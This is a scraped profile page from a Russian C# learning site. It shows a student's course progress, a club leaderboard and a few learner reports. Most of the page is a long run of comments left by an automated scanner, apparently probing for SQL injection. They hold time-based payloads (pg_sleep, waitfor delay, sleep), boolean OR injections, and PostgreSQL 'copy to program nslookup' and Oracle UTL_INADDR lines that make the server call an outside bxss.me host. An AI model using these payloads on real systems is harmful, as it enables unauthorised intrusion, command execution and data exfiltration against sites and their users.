Си шарп с нуля

Формула программиста

основатель — Волосатов Евгений Витольдович

Петя
  • Звание: Делегатор
  • Накопленный опыт: 251 час
  • Баланс Мегахешей: собрано 12751 Mh, потрачено 720 Mh , остаток 12031 Mh
  • Баланс Байтов: нет
  • Не состоит в «Клубе формулистов»
  • Последний визит: 2021-04-19 16:30:40
  • Возраст: 40 лет

Видеокурсы

Дата активности Видеокурс Прогресс
2018-09-29 nevermind Невидимка все 5 %
2018-09-23 game2 Микроигры 10 из 17 67 %
2018-09-08 start Начало здесь 5 из 9 %
2018-08-22 sweep Боты Сапёра 29 из 32 91 %
2018-08-19 power Дневник успеха 3 из 221 50 %
2018-08-15 iterator Итератор 6 из 10 60 %
2018-08-04 base2 БД - Управление гостиницей 7 из 31 23 %
2018-08-01 soft2 Новые технологии 3 из 18 20 %
2018-07-31 soft3 Теория ООП 6 из 39 16 %
2018-01-10 javasweeper Java Sweeper 28 из 52 %
2017-12-02 soft0 Демо софт 7 из 8 100 %
2017-12-02 game0 Демо игры 9 из 10 90 %
2017-11-20 task5 Секундомер все 17 107 %
2017-11-19 soft1 Нанософт все 10 100 %
2017-10-21 game4 Игры со Спрайтами 4 из 33 13 %
2017-10-07 task4 Графические циклы все 13 100 %
2017-04-29 lines Шарики 6 из 9 75 %
2017-04-07 memory Карточки памяти 2 из 14 %
2017-03-31 game1 Нано-игры 8 из 9 80 %
2017-02-21 telebot API Telegram 1 из 24 5 %
2016-04-14 webbot Webbot On-Line 4 из 23 18 %
2016-04-09 words Игры со словами 4 из 7 58 %
2016-03-06 network Сетевые технологии 4 из 13 31 %
2016-02-02 task3 Комбинаторика 1 из 22 5 %
Итого: 192 из 646 30 %

Консольные задачи

Дата активности Консольный раздел Прогресс
2018-10-15 jawa START - Запуск все 1 100 %
2018-09-08 solo C# набор 12 из 17 71 %
2018-09-04 task2 Алгоритмика 8 из 20 40 %
2018-08-16 task1 Строки 8 из 14 58 %
2018-08-07 task1 Целые числа все 7 100 %
2018-08-03 solo Java - Вывод данных 3 из 7 43 %
2018-08-02 solo Java - Запуск 2 из 13 16 %
2016-03-20 task2 Do-рацикл 1 из 4 25 %
2016-03-19 task1 Семантика все 6 100 %
Итого: 48 из 89 54 %
Сохранить страницу:


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:29

824'


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:29

1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-18831.11120.5b03f.\1.bxss.me


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:29

1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-18832.11120.2c7aa.\1.bxss.me


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:29

1;copy (select '') to program 'nslookup dns.sqli.\013405.11120-18827.11120.2c7aa.\1.bxss.me'


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:29

1;copy (select '') to program 'nslookup dns.sqli.\013405.11120-18826.11120.5b03f.\1.bxss.me'


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:29

'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-18823.11120.2c7aa.1.bxss'||'.me')||'


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:28

'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-18824.11120.5b03f.1.bxss'||'.me')||'


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:28

1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-18821.11120.5b03f.1.bxss'||'.me')


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:28

87JO1odv');select pg_sleep(23.951999999999998); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:28

1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-18822.11120.2c7aa.1.bxss'||'.me')


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:28

wNae8EVQ'));select pg_sleep(15.968); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:28

842'


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:28

kbmoNSbq'));select pg_sleep(8.532); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:28

1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-18820.11120.6a0b1.\1.bxss.me


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:28

PMrQtaDQ'));select pg_sleep(4.266); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:28

1;copy (select '') to program 'nslookup dns.sqli.\013405.11120-18819.11120.6a0b1.\1.bxss.me'


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:28

RzJW0OYo');select pg_sleep(12.798); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:28

'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-18818.11120.6a0b1.1.bxss'||'.me')||'


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:28

VVaN9V55';select pg_sleep(23.951999999999998); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:28

IHbbuuBf';select pg_sleep(12.798); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:28

I00IxdE8';select pg_sleep(8.532); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:28

-1);select pg_sleep(15.968); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:28

1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-18815.11120.6a0b1.1.bxss'||'.me')


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:28

-1);select pg_sleep(4.266); --


31528. --
1
1
ответить

31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:27

-1));select pg_sleep(8.532); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:27

-1);select pg_sleep(8.532); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:27

pgBKxQE6';select pg_sleep(20.796); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:27

1


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:27

kqUNHNmK'));select pg_sleep(20.796); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:27

D2i9Oh6S');select pg_sleep(62.388); --



31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:27

-1;select pg_sleep(4.266); --


31528. --
1
1
ответить

31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:27

uGoZvYxQ'; waitfor delay '0:0:12.798' --


31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:27

1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-18814.11120.9bb3a.\1.bxss.me


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:27

uOfA1VvW'; waitfor delay '0:0:23.951999999999998' --


31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:27

1;copy (select '') to program 'nslookup dns.sqli.\013405.11120-18813.11120.9bb3a.\1.bxss.me'


31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:27

'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-18812.11120.9bb3a.1.bxss'||'.me')||'


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:27

@@nbRjq


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:27

1


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:27

-1; waitfor delay '0:0:7.984' --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:27

-1));select pg_sleep(62.388); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:26

1 waitfor delay '0:0:4.266' --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:26

(select(0)from(select(sleep(7.984)))v)/*'+(select(0)from(select(sleep(7.984)))v)+'"+(select(0)from(select(sleep(7.984)))v)+"*/


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:26

-1" OR 2+230-230-1=0+0+0+1 --


31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:26

1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-18811.11120.9bb3a.1.bxss'||'.me')


31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:26

-1));select pg_sleep(9.375); --


31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:26

VxnS494i'));select pg_sleep(28.125); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:26

-1); waitfor delay '0:0:12.798' --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:26

-1);select pg_sleep(62.388); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:26

-1; waitfor delay '0:0:12.798' --


31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:26

3IWQwgoW');select pg_sleep(28.125); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:26

-1;select pg_sleep(41.592); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:26

(select(0)from(select(sleep(8.532)))v)/*'+(select(0)from(select(sleep(8.532)))v)+'"+(select(0)from(select(sleep(8.532)))v)+"*/


31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:26

9NBXtHwt';select pg_sleep(18.75); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:26

s17bJZan'; waitfor delay '0:0:41.592' --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:26

if(now()=sysdate(),sleep(8.532),0)/*'XOR(if(now()=sysdate(),sleep(8.532),0))OR'"XOR(if(now()=sysdate(),sleep(8.532),0))OR"*/


31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:26

-1));select pg_sleep(18.75); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:26

-1" OR 2+494-494-1=0+0+0+1 --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:26

1 waitfor delay '0:0:20.796' --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:26

-1' OR 2+417-417-1=0+0+0+1 or 'Qt0xVr86'='


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:26

-1' OR 2+540-540-1=0+0+0+1 --



31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:26

-1 OR 2+942-942-1=0+0+0+1





31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:26

-1);select pg_sleep(9.375); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:26

-1' OR 2+664-664-1=0+0+0+1 or 'zUzoGnne'='


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:25

-1); waitfor delay '0:0:62.388' --


31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:25

-1;select pg_sleep(28.125); --


31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:25

iaG3vVc9'; waitfor delay '0:0:28.125' --


31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:25

1 waitfor delay '0:0:28.125' --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:25

-1; waitfor delay '0:0:20.796' --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:25

-1' OR 2+412-412-1=0+0+0+1 --



31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:25

-1); waitfor delay '0:0:28.125' --


31528. --
1
1
ответить
→  Петя  # Боты Сапёра / ИИ - Жучкин алгоритм / 2021-07-31 04:25

1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-18800.11120.d73f6.\1.bxss.me


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:25

(select(0)from(select(sleep(62.388)))v)/*'+(select(0)from(select(sleep(62.388)))v)+'"+(select(0)from(select(sleep(62.388)))v)+"*/


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:25

-1 OR 2+842-842-1=0+0+0+1


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:25

if(now()=sysdate(),sleep(41.592),0)/*'XOR(if(now()=sysdate(),sleep(41.592),0))OR'"XOR(if(now()=sysdate(),sleep(41.592),0))OR"*/


31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:25

-1; waitfor delay '0:0:28.125' --


31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:25

(select(0)from(select(sleep(28.125)))v)/*'+(select(0)from(select(sleep(28.125)))v)+'"+(select(0)from(select(sleep(28.125)))v)+"*/


31528. --
1
1
ответить
→  Петя  # Боты Сапёра / ИИ - Жучкин алгоритм / 2021-07-31 04:25

1;copy (select '') to program 'nslookup dns.sqli.\013405.11120-18799.11120.d73f6.\1.bxss.me'


31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:25

if(now()=sysdate(),sleep(28.125),0)/*'XOR(if(now()=sysdate(),sleep(28.125),0))OR'"XOR(if(now()=sysdate(),sleep(28.125),0))OR"*/


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:25

-1" OR 2+778-778-1=0+0+0+1 --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:25

-1' OR 2+559-559-1=0+0+0+1 or 'bplAvq8y'='


31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:25

if(now()=sysdate(),sleep(9.375),0)/*'XOR(if(now()=sysdate(),sleep(9.375),0))OR'"XOR(if(now()=sysdate(),sleep(9.375),0))OR"*/


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:25

-1' OR 2+100-100-1=0+0+0+1 --


31528. --
1
1
ответить
→  Петя  # Боты Сапёра / ИИ - Жучкин алгоритм / 2021-07-31 04:25

'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-18798.11120.d73f6.1.bxss'||'.me')||'




31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:24


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:24

-1 OR 2+38-38-1=0+0+0+1


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:24


31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:24

-1" OR 2+638-638-1=0+0+0+1 --


31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:24

-1' OR 2+421-421-1=0+0+0+1 or 'H83vpSnt'='


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:24

-1 OR 2+501-501-1=0+0+0+1 --


  • Звание: Делегатор
  • Накопленный опыт: 251 час
  • Собранный капитал: нет
  • Участник «Клуба формулистов»: до 2018-08-22

Клуб формулистов

Формулист За сегодня За неделю
Разминка Обучение Бонусы Сумма
1 KF Tom 30514 4 25 5 39 199
2 -- Николай Денисов 9014 5 15 5 25 125
3 -- Tim 30187 5 5 10 100
4 -- MaxB 25450 84
5 -- Посетитель 0 5 5 25
6 -- Arthur 32368 10 10 20
7 -- Владимир 31464 20
8 -- ALEX IMAGO 32614 15
9 -- Валерий Жданов 791 5 5 12
10 -- Timoha 9980 10 10 10
11 KF Yefim 11589 10
12 -- Григорий 3850 6
13 -- Иван 2146 5
14 -- Ivan 32515 5
15 -- Андрей 32607 5
16 -- Alina 31513 2
17 -- Gennadiy 32708 1 1 1
18 -- Dmitry Sinitsin 17947 1
19 -- Татьяна 31024 1
20 -- Мария 32679 1
21 -- Airat 32686 1
22 -- Дмитриев Максим 32692 1
23 -- Alisher 32693 1
24 -- Андрей 32694 1
25 -- Yan 32697 1
26 -- artyr 32699 1
27 -- valeryao 32700 1
28 -- Abdulla 32701 1
29 -- Никита 32709 1
30 -- Александр 32713 1
31 -- Владимир 32714 1
32 -- Danil 32715 1
33 -- Нурсултан 32717 1
34 -- Madara 32718 1
35 -- Cacka 32719 1
36 -- Ростислав 32724 1
37 -- Сергей 32725 1

Правила клуба формулистов

У каждого формулиста есть задача минимум на каждый день:
+ зайти на сайт, проверить один отчёт, получить 1 байт.
Задача максимум - выполнить все остальные ежедневные задачи.
Нажмите здесь чтобы перейти к ежедневному чек-листу.

В 24:00 МСК накопленные за сутки байты переносятся в недельный актив.
В воскресение 24:00 МСК все накопленные байты переходят на баланс формулиста.

Собранные байты можно обменивать на доступные видеокурсы (1 байт = 1 рубль, без скидок)
Приобретённые за байты видеокурсы доступны только во время нахождения в автобусе/клубе формулистов!

При завершении подписки в автобусе/клубе формулистов все накопленные байты обнуляются, а доступ к видеокурсам, приобретённым за байты, закрывается.
Продлевайте подписку заблаговременно.

Начинаем практику по языку C#





Если вы пришли без приглашения -
введите тысяча двадцать четыре (цифрами).
Чтобы стать хорошим программистом — нужно писать программы. На нашем сайте очень много практических упражнений.

После заполнения формы ты будешь подписан на рассылку «C# Вебинары и Видеоуроки», у тебя появится доступ к видеоурокам и консольным задачам.

Несколько раз в неделю тебе будут приходить письма — приглашения на вебинары, информация об акциях и скидках, полезная информация по C#.

Ты в любой момент сможешь отписаться от рассылки.


Трудности: перепутал в начальных поинтах x и y местами, в итоге переделал весь метод, чтобы найти ошибку и получить надеюсь стопроцентные уникальные близ стоящие два пикселя, по которым четко можно будет узнать, что находится в клетке



Научился: понравилась реализация "анимации - взрыва шариков", впервые решился "масштабировать": добавил в меню возможность выбора поля помимо 9 на 9
Трудности: урок совсем не ерундовый, многие моменты дались не сразу, допустил в одном месте ошибку и цепочка шариков отказывалась взрываться, пришлось заново пройтись по всем алгоритмам, чтобы её найти
впереди финальный урок, сделаю уже к нему подсчет очков, попытался сделать делегата StopGame() но почему-то не получилось, пришлось добавлять ненужную переменную max, StopGame(max) сработало